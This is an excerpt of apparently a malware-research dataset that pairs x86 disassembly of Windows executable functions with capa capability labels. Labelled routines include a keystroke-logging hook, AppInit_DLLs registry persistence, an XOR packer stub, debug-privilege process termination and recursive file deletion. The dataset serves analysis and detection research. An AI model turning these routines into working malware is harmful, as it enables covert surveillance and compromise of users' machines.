joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001afc7
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1002d068]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.1000f681
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1000f681
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x1001b03e
cmp word [ecx], dx
je 0x1001b03e
mov eax, dword [0x10024c24]
push edi
dec eax
push eax
push 0x10024b10
call fcn.1001af66
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x1001b0b1
cmp word [eax], dx
je 0x1001b0b1
mov eax, dword [edi]
test eax, eax
je 0x1001b062
cmp word [eax], dx
je 0x1001b062
lea eax, [ebp - 0x10]
push eax
call fcn.1001a949
jmp 0x1001b06b
lea eax, [ebp - 0x10]
push eax
call fcn.1001a9e4
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x1001b0db
mov eax, dword [0x10024b0c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x10024800
call fcn.1001af66
add esp, 0xc
test al, al
je 0x1001b0db
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x1001b0a6
cmp word [eax], di
je 0x1001b0a6
lea eax, [ebp - 0x10]
push eax
call fcn.1001a949
pop ecx
jmp 0x1001b0dd
lea eax, [ebp - 0x10]
push eax
call fcn.1001a9e4
jmp 0x1001b0a3
mov eax, dword [edi]
test eax, eax
je 0x1001b0c8
cmp word [eax], dx
je 0x1001b0c8
lea eax, [ebp - 0x10]
push eax
call fcn.1001a8fe
pop ecx
jmp 0x1001b0db
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x1001b1a6
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.1001adeb
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x1001b1a6
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x1001b1a6
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x1001b1a6
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1001b133
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.100129fd
test ebx, ebx
je 0x1001b1a1
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.100129fd
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1001b1a6
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1001b1a6
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.1001d0fa
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1001b1a8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000689d
leave
ret
Function at 0x1001d621
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1001d59d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1001d790
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1001d790
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1001d745
jg 0x1001d67d
test eax, eax
je 0x1001d73b
push 1
push 0x1000
call fcn.100123c6
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1001d6a0
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1001d732
push 0x8000
push ebx
call fcn.1001d4ce
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1001d6c9
jg 0x1001d6c4
cmp ecx, 0x1000
jb 0x1001d6c9
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.10011c2c
add esp, 0x10
cmp eax, 0xffffffff
je 0x1001d70e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1001d6c4
jl 0x1001d6f5
test ecx, ecx
jne 0x1001d6b6
push dword [ebp - 0xc]
push ebx
call fcn.1001d4ce
push esi
call fcn.10011e48
add esp, 0xc
xor ebx, ebx
jmp 0x1001d79e
cmp byte [edi + 0x24], 0
je 0x1001d725
cmp dword [edi + 0x20], 5
jne 0x1001d725
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1001d730
mov ebx, dword [edi + 0x18]
jmp 0x1001d732
xor ebx, ebx
push esi
call fcn.10011e48
pop ecx
jmp 0x1001d79e
test ecx, ecx
jg 0x1001d707
jl 0x1001d745
test eax, eax
jae 0x1001d707
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10013f42
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1001d765
cmp byte [edi + 0x1c], 0
je 0x1001d707
jmp 0x1001d796
push ebx
call fcn.10018d90
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1001d707
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1001d79e
cmp byte [edi + 0x1c], 0
je 0x1001d79b
mov ebx, dword [edi + 0x18]
jmp 0x1001d79e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.10013f42
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x4bb23230
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x77032f29
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x8003b3f
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x80043b4], 0x30
mov dword [0x80043bc], 0x8003351
mov dword [0x80043b8], 2
mov dword [0x80043c0], 0
mov dword [0x80043c4], 0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
jmp 0x8003b82
mov dword [0x80043c8], eax
mov dword [0x80043dc], 0x80041e0
mov dword [0x80043d4], 0xf
mov dword [0x8004102], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x80043cc], eax
mov dword [0x80043e0], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x800410a], ebp
mov dword [0x80043d0], eax
push 0x80043b4
call dword [sym.imp.user32.dll_RegisterClassExA]
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x8004434], eax
push 0
push dword [0x8004102]
push 0
push 0
push 0x1ef
push 0x21c
push 0xffffe688
push 0xfffff524
push 0xcf0000
push str.uno_momento
push str.verba
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x800442c], eax
push 1
push dword [0x800442c]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x800442c]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x8003c40
xor edi, edi
lea ebx, [0x80043e4]
jmp 0x8003c58
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x8003c4a
jmp 0x8003c6c
mov eax, dword [0x80043ec]
call fcn.08002ae4
ret
Function at 0x401308
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40600c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4013a0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x401380
xor eax, eax
push ebp
push 0x401379
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4013bc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401380
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40600c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40600c], ax
mov esp, ebp
pop ebp
ret

Function at 0x401a58
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x407034], 0
je 0x401ab9
cmp word [0x407208], 0xd7b2
jne 0x401a81
cmp dword [0x407210], 0
jbe 0x401a81
mov eax, 0x407204
call dword [0x407220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x406040
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x401ae0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x406018], 0
jne 0x401ad5
push 0
push 0x406060
push 0x406040
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4025a0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffed8
mov ebx, edx
mov esi, eax
xor edi, edi
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov ebp, eax
mov dword [esp], 0x128
push esp
push ebp
call sub.kernel32.dll_Process32First
jmp 0x4025e9
lea eax, [esp + 0x24]
push eax
push esi
call sub.kernel32.dll_lstrcmpiA
test eax, eax
jne 0x4025e2
mov edi, dword [esp + 8]
test bl, bl
je 0x4025f3
push esp
push ebp
call sub.kernel32.dll_Process32Next
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
je 0x4025cb
push ebp
call sub.kernel32.dll_CloseHandle
mov eax, edi
add esp, 0x128
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x402608
Capabilities:
Enumerate process modules

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffddc
mov edi, ecx
mov ebx, edx
mov esi, eax
xor ebp, ebp
push 0x104
push edi
call sub.kernel32.dll_RtlZeroMemory
push esi
push 8
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [esp], 0x224
push esp
push esi
call sub.kernel32.dll_Module32First
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x402685
push ebx
call sub.kernel32.dll_lstrlenA
test eax, eax
je 0x402660
lea eax, [esp + 0x20]
push eax
push ebx
call sub.kernel32.dll_lstrcmpiA
test eax, eax
jne 0x402674
lea eax, [esp + 0x120]
push eax
push edi
call sub.kernel32.dll_lstrcpyA
mov ebp, dword [esp + 0x14]
jmp 0x402685
push esp
push esi
call sub.kernel32.dll_Module32Next
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
je 0x402647
push esi
call sub.kernel32.dll_CloseHandle
mov eax, ebp
add esp, 0x224
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40274c
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebx
push esi
mov esi, eax
xor ebx, ebx
push 0x80
push esi
call sub.kernel32.dll_SetFileAttributesA
push esi
call sub.kernel32.dll_DeleteFileA
mov eax, esi
call fcn.00402724
test al, al
jne 0x402770
mov bl, 1
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x402bc0
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
push 0x80
push ebx
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ebx
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402c34
cmp byte [ebp + 8], 1
jne 0x402c12
push 2
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
jmp 0x402c20
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x402c40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
mov dword [ebp - 4], edx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402ca7
cmp byte [ebp + 8], 1
jne 0x402c85
push 2
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
jmp 0x402c93
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x402cb4
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
push 0x80
push ebx
call sub.kernel32.dll_SetFileAttributesA
push ebx
mov eax, dword [ebp - 4]
push eax
push edi
push esi
call sub.kernel32.dll_WritePrivateProfileStringA
cmp eax, 1
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x402d34
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyA
push ebx
call sub.kernel32.dll_lstrlenA
push eax
push ebx
push 1
push 0
push esi
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x402d74
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyA
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop ebx
pop ecx
pop ebp
ret 4
Function at 0x402e8c
Capabilities:
Resolve dns

Disassembly:
push ebx
xor ebx, ebx
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x402ea0
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ebx, dword [eax]
mov eax, ebx
pop ebx
ret
Function at 0x403eec
Capabilities:
Log keystrokes via application hook

Disassembly:
push 0
push 0x407910
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x403e8c
push 2
call sub.user32.dll_SetWindowsHookExA
mov dword [0x408128], eax
push 0
push 0x407910
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x403eac
push 7
call sub.user32.dll_SetWindowsHookExA
mov dword [0x40812c], eax
ret

Function at 0x403f2c
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebx
push esi
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0x403f34
mov eax, dword [esp + 0x2000]
add esp, 0xffffff84
mov edx, 0x403fb0
mov eax, dword [0x4076f8]
call fcn.00402698
mov eax, esp
mov edx, 0x2080
call fcn.00402ffc
push 0x403fc4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrcpyA_1
mov esi, 1
mov ebx, esp
mov eax, ebx
xor edx, edx
call fcn.004025a0
test eax, eax
jbe 0x403f9b
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
push 0
push eax
call sub.kernel32.dll_TerminateProcess
add ebx, 0x104
dec esi
jne 0x403f79
add esp, 0x2080
pop esi
pop ebx
ret

Function at 0x403fd0
Capabilities:
Persist via appinit_dlls registry key

Disassembly:
push ebx
add esp, 0xfffffe00
mov ebx, esp
push 0x4040e8
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x408028
push ebx
call sub.kernel32.dll_lstrcatA_1
push 0x4040f0
push ebx
call sub.kernel32.dll_lstrcatA_1
push 0x407a14
mov ecx, 0x404100
mov edx, ebx
mov eax, 0x80000000
call fcn.00402d34
push 0x404104
mov ecx, 0x404110
mov edx, ebx
mov eax, 0x80000000
call fcn.00402d34
push 0x404120
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x407910
mov ecx, 0x408028
mov edx, ebx
mov eax, 0x80000002
call fcn.00402d34
push 0x404168
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x404100
mov ecx, 0x4041a0
mov edx, ebx
mov eax, 0x80000002
call fcn.00402d34
push 0x4041b0
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 1
mov ecx, 0x4041e8
mov edx, ebx
mov eax, 0x80000002
call fcn.00402d74
push 1
mov ecx, 0x4041f8
mov edx, ebx
mov eax, 0x80000002
call fcn.00402d74
push 0x404204
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x404260
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404268
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0
lea ecx, [esp + 0x104]
mov edx, ebx
mov eax, 0x80000002
call fcn.00402d74
add esp, 0x200
pop ebx
ret
Function at 0x407620
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
mov dword [esp + 0x10], eax
lea eax, [ebp - 8]
mov dword [esp + 8], eax
lea eax, [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x10]
mov dword [esp], eax
mov dword [esp + 0xc], 0
call sub.msvcrt.dll___getmainargs
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.msvcrt.dll___set_app_type
mov eax, dword [ebp - 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.004076e0
mov dword [esp], eax
call sub.msvcrt.dll_exit
nop
nop
nop
nop
push ebp
mov ebp, esp
call sub.msvcrt.dll___iob_func
mov edx, dword [ebp + 8]
pop ebp
shl edx, 5
add eax, edx
ret
Function at 0x401000
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
push esi
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x154], ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
lea edx, [edi - 1]
cmp edx, 0x100
ja 0x4011d1
cmp byte [esi + edi - 1], 0x5c
je 0x40104c
mov byte [esi + edi], 0x5c
inc edi
lea eax, [esi + edi]
mov dword [ebp - 0x158], eax
mov word [eax], 0x2a
lea eax, [ebp - 0x148]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x14c], eax
cmp eax, 0xffffffff
je 0x401103
test byte [ebp - 0x148], 0x10
je 0x4010e0
push 0x412e5c
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x4010da
push 0x412e60
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x4010da
mov eax, 0x104
sub eax, edi
push eax
lea eax, [ebp - 0x11c]
push eax
lea eax, [esi + edi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edx, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x154]
push ebx
push esi
call section..text
pop ecx
pop ecx
mov eax, dword [ebp - 0x14c]
lea ecx, [ebp - 0x148]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
mov eax, dword [ebp - 0x14c]
jne 0x401077
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [esi + edi]
mov word [eax], 0x2a
lea eax, [ebp - 0x148]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x14c], eax
cmp eax, 0xffffffff
je 0x4011aa
test byte [ebp - 0x148], 0x10
jne 0x40118b
mov eax, 0x104
sub eax, edi
push eax
lea eax, [ebp - 0x11c]
push eax
lea eax, [esi + edi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40116f
cmp dword [ebp - 0x154], eax
jne 0x40116f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test ebx, ebx
je 0x401185
test eax, eax
jne 0x401185
cmp dword [ebp - 0x150], eax
je 0x401185
push 4
push eax
push esi
call ebx
mov eax, dword [ebp - 0x14c]
lea ecx, [ebp - 0x148]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
mov eax, dword [ebp - 0x14c]
jne 0x401128
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x158]
push esi
mov byte [eax - 1], 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x4011d1
test ebx, ebx
je 0x4011d1
cmp dword [ebp - 0x150], eax
je 0x4011d1
push 4
push eax
push esi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403259
mov esp, ebp
pop ebp
ret
Function at 0x4011e2
Capabilities:
Delete file

Disassembly:
push esi
push edi
push str.MoveFileExA
push str.kernel32.dll
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40122a
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40122a
test edi, edi
je 0x40122a
push 4
push eax
push esi
call edi
pop edi
pop esi
ret

Function at 0x40122d
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x453c
call fcn.0040a8e0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x107]
mov byte [ebp - 0x108], 0
push 0
push eax
mov edi, edx
mov ebx, ecx
call fcn.004075d0
add esp, 0xc
mov dword [ebp - 0x451c], 0x104
lea eax, [ebp - 0x453c]
mov dword [ebp - 0x4510], 0x3fff
xor ecx, ecx
mov dword [ebp - 0x4518], ecx
push eax
lea eax, [ebp - 0x4528]
mov dword [ebp - 0x450c], ecx
push eax
lea eax, [ebp - 0x4524]
push eax
lea eax, [ebp - 0x4530]
push eax
lea eax, [ebp - 0x450c]
push eax
lea eax, [ebp - 0x4534]
push eax
lea eax, [ebp - 0x452c]
push eax
lea eax, [ebp - 0x4518]
push eax
push ecx
lea eax, [ebp - 0x451c]
push eax
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov eax, dword [ebp - 0x450c]
test eax, eax
je 0x4013b3
xor ecx, ecx
mov esi, ecx
test eax, eax
je 0x4013b3
push ecx
push ecx
push ecx
push ecx
lea eax, [ebp - 0x4510]
mov dword [ebp - 0x4510], 0x3fff
push eax
lea eax, [ebp - 0x4508]
mov byte [ebp - 0x4508], cl
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x40139e
lea eax, [ebp - 0x4508]
push edi
push eax
call fcn.00403300
pop ecx
pop ecx
test eax, eax
jne 0x4013ae
push 0x3ff
push eax
mov byte [ebp - 0x508], al
lea eax, [ebp - 0x507]
push eax
mov dword [ebp - 0x4520], 1
call fcn.004075d0
add esp, 0xc
mov dword [ebp - 0x4514], 0x400
lea eax, [ebp - 0x4514]
push eax
lea eax, [ebp - 0x508]
push eax
lea eax, [ebp - 0x4520]
push eax
push 0
lea eax, [ebp - 0x4508]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40139e
lea eax, [ebp - 0x508]
push edi
push eax
call fcn.00403300
pop ecx
pop ecx
test eax, eax
jne 0x4013ae
inc esi
cmp esi, dword [ebp - 0x450c]
jae 0x4013b3
xor ecx, ecx
jmp 0x4012f2
xor eax, eax
inc eax
jmp 0x4013b5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403259
mov esp, ebp
pop ebp
ret